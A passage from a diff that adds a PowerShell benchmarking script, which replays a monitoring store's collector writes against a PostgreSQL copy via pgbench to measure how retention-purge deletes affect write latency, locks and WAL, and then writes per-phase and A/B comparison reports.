+            lock_wait_share_pct = $(if ($sumB -gt 0) { Format-Num (100.0 * $sumBlock / $sumB) 'F1' } else { '' })
+            lwlock_wait_share_pct = $(if ($sumB -gt 0) { Format-Num (100.0 * $sumBlw / $sumB) 'F1' } else { '' })
+            wal_mb_per_sec = Format-Num $walRate 'F2'
+            store_reads_per_sec = $(if ($hasIo) { Format-Num $ioReads 'F0' } else { 'n/a' })
+            store_writes_per_sec = $(if ($hasIo) { Format-Num $ioWrites 'F0' } else { 'n/a' })
+        })
+        for ($sn = 0; $sn -lt $scriptNames.Count; $sn++) {
+            $k = "$label|$sn"
+            if (-not $logs.Lat.ContainsKey($k)) { continue }
+            $a = $logs.Lat[$k].ToArray(); [Array]::Sort($a)
+            $scriptRows.Add([pscustomobject][ordered]@{
+                phase = $nameOf[$label]; script = $scriptNames[$sn]; tx = $a.Length
+                p50_ms = Format-Num ((Get-Pct $a 0.5) / 1000) 'F1'
+                p95_ms = Format-Num ((Get-Pct $a 0.95) / 1000) 'F1'
+                max_ms = Format-Num ($a[$a.Length - 1] / 1000) 'F1'
+            })
+        }
+    }
+    $phaseRows | Export-Csv -LiteralPath (Join-Path $Folder 'phases.csv') -NoTypeInformation -Encoding utf8
+    $scriptRows | Export-Csv -LiteralPath (Join-Path $Folder 'latency_by_script.csv') -NoTypeInformation -Encoding utf8
+
+    # ---- service retention log (optional) ---------------------------------------------------------
+    $logLines = @()
+    if ($ServiceLog -ne '' -and (Test-Path -LiteralPath $ServiceLog)) {
+        $logLines = @(Select-String -LiteralPath $ServiceLog -Pattern 'Retention purge drained|Retention purge: \d+ table' | ForEach-Object { $_.Line.Trim() })
+    }
+
+    # ---- summary.md -------------------------------------------------------------------------------
+    $sb = [System.Text.StringBuilder]::new()
+    [void]$sb.AppendLine("# Drain replay summary: $(Split-Path -Leaf $Folder)")
+    [void]$sb.AppendLine('')
+    [void]$sb.AppendLine("- Run started: $($run.started_utc) UTC, ended: $($run.ended_utc) UTC, stop reason: $($run.stop_reason)")
+    [void]$sb.AppendLine("- Server version: $($run.server_version); pg_stat_io: $(if ($hasIo) { 'sampled' } else { 'not available (needs PostgreSQL 16 or newer)' })")
+    [void]$sb.AppendLine("- Clients: $($run.clients), rate: $(Format-Num ([double]$run.tx_per_sec) 'F2') tx/s (rate scale $($run.rate_scale)), tables in the mix: $($run.scripts.Count), measured coverage: $(Format-Num ([double]$run.coverage_percent) 'F1')% of the store's hourly rows")
+    [void]$sb.AppendLine('')
+    [void]$sb.AppendLine('## Per phase')
+    [void]$sb.AppendLine('')
+    [void]$sb.AppendLine('A phase is the table the retention backend was deleting from (a pause of up to ' + $PhaseGapSeconds + ' s between batches stays in the phase). "no drain" is every second with no retention DELETE seen. Latency is the replayed write transaction (BEGIN to COMMIT), from pgbench --log.')
+    [void]$sb.AppendLine('')
+    $cols = 'phase', 'start_utc', 'end_utc', 'seconds', 'rows_deleted', 'rows_per_sec', 'tx_per_sec', 'lat_p50_ms', 'lat_p95_ms', 'lat_max_ms', 'lag_p95_ms', 'lag_max_ms', 'active_samples', 'io_wait_share_pct', 'lock_wait_share_pct', 'lwlock_wait_share_pct', 'wal_mb_per_sec'
+    [void]$sb.Append((Convert-ToMarkdownTable $phaseRows $cols))
+    [void]$sb.AppendLine('')
+    [void]$sb.AppendLine('lag_* is pgbench schedule lag: how late a transaction started against its slot in the rate schedule (the closest thing to a skipped collection slot).')
+    [void]$sb.AppendLine('')
+    [void]$sb.AppendLine('## Latency by replayed table, per phase')
+    [void]$sb.AppendLine('')
+    [void]$sb.Append((Convert-ToMarkdownTable $scriptRows @('phase', 'script', 'tx', 'p50_ms', 'p95_ms', 'max_ms')))
+    if ($logLines.Count -gt 0) {
+        [void]$sb.AppendLine('')
+        [void]$sb.AppendLine('## Service retention log lines')
+        [void]$sb.AppendLine('')
+        foreach ($l in $logLines) { [void]$sb.AppendLine("- $l") }
+    }
+    Set-Content -LiteralPath (Join-Path $Folder 'summary.md') -Value $sb.ToString() -Encoding utf8
+    Write-Info "Report written: $(Join-Path $Folder 'summary.md')"
+    return $phaseRows
+}
+
+function Write-Compare([string]$A, [string]$B, [string]$OutDir) {
+    $pa = Import-Csv -LiteralPath (Join-Path $A 'phases.csv')
+    $pb = Import-Csv -LiteralPath (Join-Path $B 'phases.csv')
+    $names = [System.Collections.Generic.List[string]]::new()
+    foreach ($r in $pa) { if (-not $names.Contains($r.phase)) { $names.Add($r.phase) } }
+    foreach ($r in $pb) { if (-not $names.Contains($r.phase)) { $names.Add($r.phase) } }
+    $rows = foreach ($n in $names) {
+        $ra = $pa | Where-Object { $_.phase -eq $n } | Select-Object -First 1
+        $rb = $pb | Where-Object { $_.phase -eq $n } | Select-Object -First 1
+        $g = { param($r, $f) if ($null -eq $r) { '' } else { $r.$f } }
+        [pscustomobject][ordered]@{
+            phase = $n
+            A_seconds = & $g $ra 'seconds'; B_seconds = & $g $rb 'seconds'
+            A_rows_per_sec = & $g $ra 'rows_per_sec'; B_rows_per_sec = & $g $rb 'rows_per_sec'
+            A_p95_ms = & $g $ra 'lat_p95_ms'; B_p95_ms = & $g $rb 'lat_p95_ms'
+            A_max_ms = & $g $ra 'lat_max_ms'; B_max_ms = & $g $rb 'lat_max_ms'
+            A_lag_max_ms = & $g $ra 'lag_max_ms'; B_lag_max_ms = & $g $rb 'lag_max_ms'
+            A_io_wait_pct = & $g $ra 'io_wait_share_pct'; B_io_wait_pct = & $g $rb 'io_wait_share_pct'
+        }
+    }
+    New-Item -ItemType Directory -Force -Path $OutDir | Out-Null
+    $rows | Export-Csv -LiteralPath (Join-Path $OutDir 'compare.csv') -NoTypeInformation -Encoding utf8
+    $drainA = ($pa | Where-Object { $_.phase -ne 'no drain' } | Measure-Object -Property seconds -Sum).Sum
+    $drainB = ($pb | Where-Object { $_.phase -ne 'no drain' } | Measure-Object -Property seconds -Sum).Sum
+    $worstA = ($pa | Where-Object { $_.lat_p95_ms -ne '' } | ForEach-Object { [double]::Parse($_.lat_p95_ms, $Inv) } | Measure-Object -Maximum).Maximum
+    $worstB = ($pb | Where-Object { $_.lat_p95_ms -ne '' } | ForEach-Object { [double]::Parse($_.lat_p95_ms, $Inv) } | Measure-Object -Maximum).Maximum
+    $sb = [System.Text.StringBuilder]::new()
+    [void]$sb.AppendLine('# Drain A/B compare')
+    [void]$sb.AppendLine('')
+    [void]$sb.AppendLine("- A = $A")
+    [void]$sb.AppendLine("- B = $B")
+    [void]$sb.AppendLine("- Total time in drain phases: A $drainA s, B $drainB s")
+    [void]$sb.AppendLine("- Worst per-phase write latency p95: A $worstA ms, B $worstB ms")
+    [void]$sb.AppendLine('')
+    [void]$sb.Append((Convert-ToMarkdownTable $rows @('phase', 'A_seconds', 'B_seconds', 'A_rows_per_sec', 'B_rows_per_sec', 'A_p95_ms', 'B_p95_ms', 'A_max_ms', 'B_max_ms', 'A_lag_max_ms', 'B_lag_max_ms', 'A_io_wait_pct', 'B_io_wait_pct')))
+    Set-Content -LiteralPath (Join-Path $OutDir 'compare.md') -Value $sb.ToString() -Encoding utf8
+    Write-Info "Compare written: $(Join-Path $OutDir 'compare.md')"
+}
+
+if ($PSCmdlet.ParameterSetName -eq 'Report') {
+    [void](Write-Report $OutputFolder)
+    return
+}
+if ($PSCmdlet.ParameterSetName -eq 'Compare') {
+    $folders = @($Compare) + $(if ($CompareB -ne '') { @($CompareB) } else { @() })
+    if ($folders.Count -ne 2) { throw '-Compare takes exactly two folders: A then B.' }
+    $outDir = if ($OutputFolder) { $OutputFolder } else { (Get-Location).Path }
+    Write-Compare $folders[0] $folders[1] $outDir
+    return
+}
+
+# ======================================================================================================
+# Run mode
+# ======================================================================================================
+
+$script:Psql = $PsqlPath
+$script:Pgbench = $PgbenchPath
+foreach ($tool in @($script:Psql, $script:Pgbench)) {
+    if (-not (Get-Command $tool -ErrorAction SilentlyContinue)) { throw "Cannot find '$tool'. Pass -PsqlPath / -PgbenchPath." }
+}
+New-Item -ItemType Directory -Force -Path $OutputFolder | Out-Null
+$OutputFolder = (Resolve-Path -LiteralPath $OutputFolder).Path
+$scriptsDir = Join-Path $OutputFolder 'scripts'
+New-Item -ItemType Directory -Force -Path $scriptsDir | Out-Null
+$script:Tmp = Join-Path $OutputFolder 'tmp'
+New-Item -ItemType Directory -Force -Path $script:Tmp | Out-Null
+
+$script:ConnUri = 'postgresql://{0}@{1}:{2}/{3}?connect_timeout=10&application_name=drain-ab-replay' -f `
+    [uri]::EscapeDataString($User), $DbHost, $Port, [uri]::EscapeDataString($Database)
+$samplerUri = $script:ConnUri.Replace('application_name=drain-ab-replay', 'application_name=drain-ab-sampler')
+
+function Invoke-Psql([string]$Sql, [string]$Uri = $script:ConnUri) {
+    $f = Join-Path $script:Tmp ('q' + [guid]::NewGuid().ToString('N') + '.sql')
+    Set-Content -LiteralPath $f -Value $Sql -Encoding utf8
+    try {
+        $out = & $script:Psql -X -q -A -t -F '|' -v ON_ERROR_STOP=1 -d $Uri -f $f 2>&1
+        $code = $LASTEXITCODE
+    }
+    finally { Remove-Item -LiteralPath $f -ErrorAction SilentlyContinue }
+    $lines = @($out | ForEach-Object { "$_" })
+    if ($code -ne 0) { throw ("psql failed (exit $code): " + ($lines -join ' ')) }
+    return ,$lines
+}
+
+$startedPids = [System.Collections.Generic.List[int]]::new()
+$running = [System.Collections.Generic.List[object]]::new()
+$pgbenchProc = $null
+$samplerReader = $null
+try {
+    if ($Password -ne '') { $env:PGPASSWORD = $Password }
+
+    # ---- connection and safety --------------------------------------------------------------------
+    $ver = Invoke-Psql "SELECT current_setting('server_version_num') || '|' || version();"
+    $verNum = [int]($ver[0].Split('|')[0])
+    $verText = $ver[0].Split('|', 2)[1]
+    $hasIo = $verNum -ge 160000
+    Write-Info "Connected: $verText"
+    $canSee = (Invoke-Psql "SELECT (rolsuper OR pg_has_role(current_user, 'pg_read_all_stats', 'member'))::int FROM pg_roles WHERE rolname = current_user;")[0]
+    if ($canSee -ne '1') { Write-Warning 'This login cannot read other sessions'' query text (needs superuser or pg_read_all_stats / pg_monitor). The retention backend will not be seen and every phase will read "no drain".' }
+    $servers = foreach ($ln in (Invoke-Psql 'SELECT server_id, server_name, is_enabled FROM collect.servers ORDER BY server_id;')) {
+        $p = $ln.Split('|'); [pscustomobject]@{ id = [int]$p[0]; name = $p[1]; enabled = ($p[2] -eq 't') }
+    }
+    $servers = @($servers)
+    if ($servers.Count -eq 0) { throw 'collect.servers is empty: there are no server ids to write rows for.' }
+    Write-Info ("collect.servers: {0} server id(s) to write rows for" -f $servers.Count)
+    # The service collects from the servers enabled in config.config_monitored_servers (StoreConfigProvider), so that
+    # is the table the safety check reads. collect.servers only supplies the server ids. An older schema without the
+    # config table falls back to collect.servers.is_enabled.
+    $gateTable = 'collect.servers'
+    if ((Invoke-Psql "SELECT (to_regclass('config.config_monitored_servers') IS NOT NULL)::int;")[0] -eq '1') {
+        $gateTable = 'config.config_monitored_servers'
+    }
+    $enabledCount = [int](Invoke-Psql "SELECT count(*) FROM $gateTable WHERE is_enabled;")[0]
+    Write-Info ("{0}: {1} enabled server(s)" -f $gateTable, $enabledCount)
+    if ($enabledCount -gt 0 -and -not $IKnowThisIsACopy) {
+        throw "Refusing to run: $enabledCount server(s) in $gateTable are enabled, so real collectors may be writing here. Point this at a restored copy with every server disabled, or pass -IKnowThisIsACopy."
+    }
+    if ($enabledCount -gt 0) { Write-Warning "$enabledCount enabled server(s) in $gateTable; -IKnowThisIsACopy was passed." }
+
+    # ---- clock offset (server minus this host) -----------------------------------------------------
+    $c0 = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() / 1000.0
+    $srvNow = [double]::Parse((Invoke-Psql 'SELECT extract(epoch FROM clock_timestamp());')[0], $Inv)
+    $c1 = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() / 1000.0
+    $offset = $srvNow - ($c0 + $c1) / 2
+    if ([math]::Abs($offset) -lt 1.0) { $offset = 0.0 }
+
+    # ---- step 1: the rate, from the store -------------------------------------------------------------
+    $tables = Invoke-Psql @"
+SELECT c.relname
+FROM pg_class AS c
+JOIN pg_namespace AS n ON n.oid = c.relnamespace
+WHERE n.nspname = 'collect'
+AND   c.relkind IN ('r', 'p')
+AND   NOT c.relispartition
+AND   c.relname !~ '^query_store_interval_(latest|wide)'
+AND   EXISTS (SELECT 1 FROM pg_attribute a WHERE a.attrelid = c.oid AND a.attname = 'collection_time' AND a.attnum > 0 AND NOT a.attisdropped AND a.atttypid = 'timestamp'::regtype)
+AND   EXISTS (SELECT 1 FROM pg_attribute a WHERE a.attrelid = c.oid AND a.attname = 'server_id' AND a.attnum > 0 AND NOT a.attisdropped)
+ORDER BY c.relname;
+"@
+    $anchorText = (Invoke-Psql "SELECT to_char(max(collection_time), 'YYYY-MM-DD HH24:MI:SS.US') FROM collect.collection_log;")[0]
+    if ([string]::IsNullOrWhiteSpace($anchorText)) { throw 'collect.collection_log has no rows, so there is no last day to take a rate from.' }
+    $hi = $anchorText
+    $loText = (Invoke-Psql "SELECT to_char(timestamp '$hi' - interval '$RateWindowHours hours', 'YYYY-MM-DD HH24:MI:SS.US');")[0]
+    $activeServers = [int](Invoke-Psql "SELECT count(DISTINCT server_id) FROM collect.collection_log WHERE collection_time > '$loText' AND collection_time <= '$hi';")[0]
+    if ($activeServers -lt 1) { $activeServers = $servers.Count }
+    Write-Info "Rate window: $loText to $hi (store clock), $activeServers server(s) wrote in it, $($tables.Count) candidate tables"
+
+    $rates = [System.Collections.Generic.List[object]]::new()
+    foreach ($t in $tables) {
+        $rows = 0.0; $batch = 0.0; $note = ''
+        try {
+            $r = Invoke-Psql @"
+SET statement_timeout = '${RateQueryTimeoutSeconds}s';
+SELECT count(*) FROM collect.$t WHERE collection_time > '$loText' AND collection_time <= '$hi';
+SELECT coalesce(count(*)::float8 / nullif(count(DISTINCT (server_id, collection_time)), 0), 0)
+FROM collect.$t WHERE collection_time > timestamp '$hi' - interval '1 hour' AND collection_time <= '$hi';
+"@
+            $rows = [double]::Parse($r[0], $Inv); $batch = [double]::Parse($r[1], $Inv)
+        }
+        catch { $note = 'unmeasured: ' + $_.Exception.Message.Substring(0, [math]::Min(80, $_.Exception.Message.Length)) }
+        $perHour = $rows / $RateWindowHours
+        $rates.Add([pscustomobject][ordered]@{
+            table = $t; rows_in_window = [long]$rows; rows_per_hour = [math]::Round($perHour, 1)
+            batch_rows = [math]::Round($batch, 1); share_percent = 0.0; cumulative_percent = 0.0; in_mix = $false; note = $note })
+    }
+    $totalPerHour = ($rates | Measure-Object -Property rows_per_hour -Sum).Sum
+    if ($totalPerHour -le 0) { throw 'No collect.* table has rows in the rate window.' }
+    $cum = 0.0
+    foreach ($r in ($rates | Sort-Object rows_per_hour -Descending)) {
+        $r.share_percent = [math]::Round(100.0 * $r.rows_per_hour / $totalPerHour, 2)
+        if ($r.rows_per_hour -gt 0) { $cum += $r.share_percent }
+        $r.cumulative_percent = [math]::Round($cum, 2)
+    }
+    Write-Info ("Store write rate: {0:N0} rows/hour ({1:N1} rows/s) across {2} tables with rows" -f $totalPerHour, ($totalPerHour / 3600), ($rates | Where-Object { $_.rows_per_hour -gt 0 }).Count)
+
+    # ---- step 2: pick the mix and write the scripts -----------------------------------------------------
+    $selected = [System.Collections.Generic.List[object]]::new()
+    $covered = 0.0
+    foreach ($r in ($rates | Where-Object { $_.rows_per_hour -gt 0 } | Sort-Object rows_per_hour -Descending)) {
+        if ($covered -ge $CoveragePercent -or $selected.Count -ge $MaxTables) { break }
+        $selected.Add($r); $covered += $r.share_percent
+    }
+
+    $serverIdsSql = '(ARRAY[' + (($servers | ForEach-Object { $_.id }) -join ',') + ']::integer[])[:sidx + 1]'
+    $serverNamesSql = '(ARRAY[' + (($servers | ForEach-Object { "'" + (Escape-SqlLiteral $_.name) + "'" }) -join ',') + ']::text[])[:sidx + 1]'
+    $nowSql = "(now() AT TIME ZONE 'UTC')"
+
+    # Catalog: columns of the selected tables (plus the dimension tables the digest shapes need).
+    $want = @($selected | ForEach-Object { $_.table }) + @('query_text_dim', 'query_plan_dim')
+    $inList = ($want | ForEach-Object { "'" + $_ + "'" }) -join ','
+    $colLines = Invoke-Psql @"
+SELECT c.relname, a.attname, format_type(a.atttypid, a.atttypmod), a.attnotnull::int,
+       (a.atthasdef OR a.attidentity <> '' OR a.attgenerated <> '')::int,
+       EXISTS (SELECT 1 FROM pg_index i WHERE i.indrelid = a.attrelid AND i.indisunique AND a.attnum = ANY (i.indkey::int2[]))::int
+FROM pg_attribute AS a
+JOIN pg_class AS c ON c.oid = a.attrelid
+WHERE c.relnamespace = 'collect'::regnamespace
+AND   c.relname IN ($inList)
+AND   a.attnum > 0 AND NOT a.attisdropped
+ORDER BY c.relname, a.attnum;
+"@
+    $colsByTable = @{}
+    foreach ($l in $colLines) {
+        $p = $l.Split('|')
+        if (-not $colsByTable.ContainsKey($p[0])) { $colsByTable[$p[0]] = [System.Collections.Generic.List[object]]::new() }
+        $colsByTable[$p[0]].Add([pscustomobject]@{ name = $p[1]; type = $p[2]; notnull = ($p[3] -eq '1'); skip = ($p[4] -eq '1'); unique = ($p[5] -eq '1') })
+    }
+
+    function Get-ValueExpr($col, [string]$table, [hashtable]$ov) {
+        if ($ov.ContainsKey($col.name)) { return $ov[$col.name] }
+        $type = $col.type
+        switch -Regex ($col.name) {
+            '^collection_time$' { return $nowSql }
+            '^server_id$' { return $serverIdsSql }
+            '^server_name$' { return $serverNamesSql }
+            '^(collection_id|log_id)$' { return '((floor(extract(epoch FROM clock_timestamp()) * 1000)::bigint * 1048576) + (:rid * 2048 + g))' }
+        }
+        switch -Regex ($type) {
+            '^timestamp without time zone' { return "($nowSql - random() * interval '1 hour')" }
+            '^timestamp with time zone' { return "(now() - random() * interval '1 hour')" }
+            '^date' { return 'current_date' }
+            '^boolean' { return '(random() < 0.5)' }
+            '^smallint' { return '(random() * 100)::smallint' }
+            '^integer' { if ($col.unique) { return '(random() * 2000000000)::integer' } else { return '(random() * 1000)::integer' } }
+            '^bigint\[\]' { return 'ARRAY[1, 2, 3]::bigint[]' }
+            '^bigint' { if ($col.unique) { return '(random() * 9000000000000000)::bigint' } else { return '(random() * 100000)::bigint' } }
+            '^(double precision|real)' { return '(random() * 1000)' }
+            '^numeric\((\d+),(\d+)\)' {
+                $pr = [int]$Matches[1]; $sc = [int]$Matches[2]
+                $mx = [math]::Min(1000.0, [math]::Pow(10, $pr - $sc) - 1)
+                return "(random() * $($mx.ToString($Inv)))::numeric($pr,$sc)"
+            }
+            '^numeric' { return '(random() * 1000)::numeric' }
+            '^(text|character varying|character)' {
+                $len = if ($type -match '\((\d+)\)') { [int]$Matches[1] } else { 0 }
+                $e = if ($col.unique) { 'md5(random()::text)' } else { "('v' || (random() * 100000)::int)" }
+                if ($len -gt 0) { return "left($e, $len)" } else { return $e }
+            }
+            '^bytea' { return "sha256(convert_to(random()::text, 'UTF8'))" }
+            '^jsonb' { return "'{}'::jsonb" }
+            '^json' { return "'{}'::json" }
+        }
+        if ($col.notnull) { throw "no synthetic value for $table.$($col.name) ($type)" }
+        return 'NULL'
+    }
+
+    function New-InsertSql([string]$table, [int]$batch, [hashtable]$ov) {
+        $names = [System.Collections.Generic.List[string]]::new()
+        $exprs = [System.Collections.Generic.List[string]]::new()
+        foreach ($col in $colsByTable[$table]) {
+            if ($col.skip -and -not $ov.ContainsKey($col.name)) { continue }
+            $names.Add($col.name)
+            $exprs.Add((Get-ValueExpr $col $table $ov))
+        }
+        return "INSERT INTO collect.$table`n(`n    " + ($names -join ",`n    ") + "`n)`nSELECT`n    " + ($exprs -join ",`n    ") + "`nFROM generate_series(1, $batch) AS g;"
+    }
+
+    $header = "\set sidx (:client_id + :nclients * random(0, :spc - 1)) % :nservers`n\set rid random(0, 511)`n"
+
+    # Source of the shapes, cited in each script:
+    #   Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs:192 CopyCommandFor - every collector
+    #   writes ONE binary COPY per server per collection into its raw table; pgbench cannot COPY, so the same
+    #   column list is written with a plain INSERT ... SELECT generate_series (same table, same columns, same rows
+    #   per batch, same transaction).
+    $dimTextUpsert = @'
+INSERT INTO collect.query_text_dim (digest, query_text, last_seen)
+SELECT u.digest, u.payload, {NOW}
+FROM (SELECT sha256(convert_to('qt' || (:dimbase + g), 'UTF8')) AS digest, repeat('SELECT replay ', {TEXTREPEAT}) || (:dimbase + g) AS payload FROM generate_series(1, {BATCH}) AS g) AS u
+WHERE NOT EXISTS (
+    SELECT 1 FROM collect.query_text_dim d
+    WHERE d.digest = u.digest
+    AND   d.last_seen >= {NOW} - INTERVAL '1 hours')
+ORDER BY u.digest
+ON CONFLICT (digest) DO UPDATE SET last_seen = EXCLUDED.last_seen
+WHERE collect.query_text_dim.last_seen < EXCLUDED.last_seen - INTERVAL '1 hours';
+'@
+    $dimPlanUpsert = @'
+INSERT INTO collect.query_plan_dim (digest, query_plan_gz, last_seen)
+SELECT u.digest, u.payload, {NOW}
+FROM (SELECT sha256(convert_to('qp' || (:dimbase + g), 'UTF8')) AS digest, (SELECT decode(string_agg(md5((:dimbase + g)::text || i::text), ''), 'hex') FROM generate_series(1, {PLANMD5}) AS i) AS payload FROM generate_series(1, {BATCH}) AS g) AS u
+WHERE NOT EXISTS (
+    SELECT 1 FROM collect.query_plan_dim d
+    WHERE d.digest = u.digest
+    AND   d.last_seen >= {NOW} - INTERVAL '1 hours')
+ORDER BY u.digest
+ON CONFLICT (digest) DO UPDATE SET last_seen = EXCLUDED.last_seen
+WHERE collect.query_plan_dim.last_seen < EXCLUDED.last_seen - INTERVAL '1 hours';
+'@
+
+    $qsDbArray = "ARRAY[" + ((1..$QsDatabases | ForEach-Object { "'replay_db_$_'" }) -join ',') + "]"
+    $latestUpsert = @'
+WITH
+    batch_rows AS
+(
+    SELECT
+        COUNT(*) AS raw_rows,
+        COUNT(*) FILTER (WHERE s.execution_type_desc = 'Regular' AND s.first_execution_time IS NULL) AS null_first_execution_rows
+    FROM collect.query_store_stats AS s
+    WHERE s.server_id = {SID}
+    AND   s.collection_time = {NOW}
+    AND   s.database_name = ANY ({DBS}::text[])
+),
+    upserted AS
+(
+    INSERT INTO collect.query_store_interval_latest AS t
+    (
+        server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time,
+        collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+        last_execution_time, is_forced_plan, force_failure_count, query_text
+    )
+    SELECT DISTINCT ON (database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time)
+        s.server_id, s.database_name, s.query_id, s.plan_id, s.replica_role, s.runtime_stats_interval_id, s.first_execution_time,
+        s.collection_time, s.query_plan_hash, s.query_hash, s.execution_count, s.avg_cpu_time_us, s.avg_duration_us,
+        s.last_execution_time, s.is_forced_plan, s.force_failure_count, s.query_text
+    FROM collect.query_store_stats AS s
+    WHERE s.server_id = {SID}
+    AND   s.collection_time = {NOW}
+    AND   s.database_name = ANY ({DBS}::text[])
+    AND   s.execution_type_desc = 'Regular'
+    AND   s.first_execution_time IS NOT NULL
+    ORDER BY
+        database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time,
+        s.execution_count DESC
+    ON CONFLICT (server_id, database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time)
+    DO UPDATE SET
+        collection_time = EXCLUDED.collection_time,
+        query_plan_hash = EXCLUDED.query_plan_hash,
+        query_hash = EXCLUDED.query_hash,
+        execution_count = EXCLUDED.execution_count,
+        avg_cpu_time_us = EXCLUDED.avg_cpu_time_us,
+        avg_duration_us = EXCLUDED.avg_duration_us,
+        last_execution_time = EXCLUDED.last_execution_time,
+        is_forced_plan = EXCLUDED.is_forced_plan,
+        force_failure_count = EXCLUDED.force_failure_count,
+        query_text = EXCLUDED.query_text
+    WHERE (EXCLUDED.collection_time, EXCLUDED.execution_count) > (t.collection_time, t.execution_count)
+    RETURNING 1
+)
+SELECT
+    (SELECT COUNT(*) FROM upserted) AS applied_rows,
+    b.raw_rows,
+    b.null_first_execution_rows
+FROM batch_rows AS b;
+'@
+    $wideCols = @('collection_time', 'server_id', 'database_name', 'query_id', 'plan_id', 'execution_type_desc', 'first_execution_time', 'last_execution_time', 'module_name', 'query_text', 'query_hash', 'execution_count', 'avg_duration_us', 'min_duration_us', 'max_duration_us', 'avg_cpu_time_us', 'min_cpu_time_us', 'max_cpu_time_us', 'avg_logical_io_reads', 'min_logical_io_reads', 'max_logical_io_reads', 'avg_logical_io_writes', 'min_logical_io_writes', 'max_logical_io_writes', 'avg_physical_io_reads', 'min_physical_io_reads', 'max_physical_io_reads', 'avg_clr_time_us', 'min_clr_time_us', 'max_clr_time_us', 'min_dop', 'max_dop', 'avg_query_max_used_memory', 'min_query_max_used_memory', 'max_query_max_used_memory', 'avg_rowcount', 'min_rowcount', 'max_rowcount', 'avg_num_physical_io_reads', 'min_num_physical_io_reads', 'max_num_physical_io_reads', 'avg_log_bytes_used', 'min_log_bytes_used', 'max_log_bytes_used', 'avg_tempdb_space_used', 'min_tempdb_space_used', 'max_tempdb_space_used', 'plan_type', 'plan_forcing_type', 'is_forced_plan', 'force_failure_count', 'last_force_failure_reason', 'compatibility_level', 'query_plan_hash', 'replica_role', 'runtime_stats_interval_id', 'interval_start_time_utc', 'interval_end_time_utc')
+    $wideIdentity = @('server_id', 'database_name', 'query_id', 'plan_id', 'execution_type_desc', 'first_execution_time', 'replica_role', 'runtime_stats_interval_id')
+    $wideUpsert = @"
+WITH
+    batch_rows AS
+(
+    SELECT
+        COUNT(*) AS raw_rows,
+        COUNT(*) FILTER (WHERE s.first_execution_time IS NULL) AS null_first_execution_rows
+    FROM collect.query_store_stats AS s
+    WHERE s.server_id = {SID}
+    AND   s.collection_time = {NOW}
+    AND   s.database_name = ANY ({DBS}::text[])
+),
+    upserted AS
+(
+    INSERT INTO collect.query_store_interval_wide AS t
+    (
+        $($wideCols -join ",`n        ")
+    )
+    SELECT DISTINCT ON (database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time, execution_type_desc)
+        $(($wideCols | ForEach-Object { 's.' + $_ }) -join ",`n        ")
+    FROM collect.query_store_stats AS s
+    WHERE s.server_id = {SID}
+    AND   s.collection_time = {NOW}
+    AND   s.database_name = ANY ({DBS}::text[])
+    AND   s.first_execution_time IS NOT NULL
+    ORDER BY
+        database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time, execution_type_desc,
+        s.execution_count DESC
+    ON CONFLICT (server_id, database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time, execution_type_desc)
+    DO UPDATE SET
+        $((($wideCols | Where-Object { $wideIdentity -notcontains $_ }) | ForEach-Object { "$_ = EXCLUDED.$_" }) -join ",`n        ")
+    WHERE (EXCLUDED.collection_time, EXCLUDED.execution_count) > (t.collection_time, t.execution_count)
+    RETURNING 1
+)
+SELECT
+    (SELECT COUNT(*) FROM upserted) AS applied_rows,
+    b.raw_rows,
+    b.null_first_execution_rows
+FROM batch_rows AS b;
+"@
+
+    $jobs = [System.Collections.Generic.List[object]]::new()   # name, table, txps, sql, batch
+    foreach ($r in $selected) {
+        $t = $r.table
+        if (-not $colsByTable.ContainsKey($t)) { continue }
+        $batch = [int][math]::Min($MaxBatchRows, [math]::Max($MinBatchRows, [math]::Round([double]$r.batch_rows)))
+        if ($batch -lt 1) { $batch = 1 }
+        $txps = $r.rows_per_hour / 3600.0 / $batch
+        $ov = @{}
+        $pre = ''
+        $post = ''
+        $comment = "-- Shape: Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs line 192 (CopyCommandFor), one batch of $batch row(s) per server per collection, as an INSERT because pgbench cannot COPY.`n"
+        switch ($t) {
+            'query_store_stats' {
+                # Raw rows keep the interval identity stable inside an hour so the apply statements conflict the way
+                # the real open interval does. Apply statements: QueryStoreIntervalLatest.cs:239 (UpsertSql) and
+                # QueryStoreIntervalWide.cs:201 (UpsertSql), run in the same transaction as the COPY
+                # (DarlingCollectorRunner.cs:4684, :4692).
+                $ov['database_name'] = "'replay_db_' || ((g - 1) % $QsDatabases + 1)"
+                $ov['query_id'] = "((g - 1) / $QsDatabases + 1 + :sidx * 100000)::bigint"
+                $ov['plan_id'] = "(((g - 1) / $QsDatabases + 1 + :sidx * 100000) * 10)::bigint"
+                $ov['execution_type_desc'] = "'Regular'"
+                $ov['runtime_stats_interval_id'] = '(floor(extract(epoch FROM now()) / 3600))::bigint'
+                $ov['first_execution_time'] = "date_trunc('hour', $nowSql)"
+                $ov['interval_start_time_utc'] = "date_trunc('hour', $nowSql)"
+                $ov['interval_end_time_utc'] = "date_trunc('hour', $nowSql) + interval '1 hour'"
+                $ov['last_execution_time'] = $nowSql
+                $ov['execution_count'] = "(extract(epoch FROM $nowSql - date_trunc('hour', $nowSql)) * (1 + g % 7))::bigint + 1"
+                $ov['replica_role'] = 'NULL'
+                $ov['query_hash'] = "'0x' || md5((g % $QsDatabases)::text)"
+                $ov['query_plan_hash'] = "'0x' || md5((g % 97)::text)"
+                $ov['query_text'] = "left(repeat('SELECT replay ', $([math]::Max(1, [int]($QueryTextBytes / 14)))) || g, $QueryTextBytes)"
+                $ov['query_plan_text'] = 'NULL'
+                $ov['module_name'] = 'NULL'
+                $sidExpr = $serverIdsSql
+                $ins = New-InsertSql $t $batch $ov
+                $apply = ($latestUpsert + "`n" + $wideUpsert).Replace('{SID}', $sidExpr).Replace('{NOW}', $nowSql).Replace('{DBS}', $qsDbArray)
+                $post = "`n$apply"
